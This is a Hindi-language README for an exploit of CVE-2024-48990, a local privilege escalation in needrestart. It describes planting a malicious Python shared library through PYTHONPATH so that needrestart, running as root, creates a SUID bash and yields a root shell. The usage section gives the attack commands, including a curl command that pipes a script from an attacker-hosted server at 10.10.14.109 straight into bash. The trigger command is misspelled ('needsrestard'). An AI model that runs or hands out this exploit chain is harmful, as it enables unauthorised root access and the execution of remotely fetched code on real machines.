CVE-2024-48990 एक्सप्लॉइट

needrestart < 3.8 में PYTHONPATH इंजेक्शन के माध्यम से स्थानीय विशेषाधिकार वृद्धि।

यह कैसे काम करता है

1. needrestart रूट के रूप में चलता है और सभी प्रक्रियाओं को स्कैन करता है
2. हमारी Python प्रक्रिया ढूंढता है, /proc/[pid]/environ से PYTHONPATH=/tmp/.m पढ़ता है
3. हमारे दुर्भावनापूर्ण PYTHONPATH के साथ Python को रूट के रूप में निष्पादित करता है
4. Python का import /tmp/.m/importlib/__init__.so लोड करता है (हमारी दुर्भावनापूर्ण लाइब्रेरी)
5. Python शुरू होने से पहले ही .so में कंस्ट्रक्टर रूट के रूप में निष्पादित होता है
6. /tmp/rootbash पर SUID bash बनाता है
7. रूट शेल के लिए /tmp/rootbash -p निष्पादित करें

मुख्य बिंदु: needrestart गैर-विशेषाधिकार प्राप्त प्रक्रियाओं से पर्यावरण चरों पर भरोसा करता है और उन्हें रूट के रूप में इंटरप्रिटर निष्पादित करते समय उपयोग करता है।

उपयोग

हमलावर:

./compile.sh
python3 -m http.server 8000

लक्ष्य:

curl -sf http://10.10.14.109:8000/setup_exploit.sh | bash -s 10.10.14.109 8000
cd /tmp/.m && PYTHONPATH=/tmp/.m python3 e.py

दूसरे टर्मिनल से निम्नलिखित चलाने पर e.py प्रक्रिया हैंग होकर रूट शेल स्पॉन कर देगी:

sudo needsrestard

पहला टर्मिनल रूट शेल शुरू करेगा।

क्रेडिट्स

Qualys थ्रेट रिसर्च यूनिट - CVE-2024-48990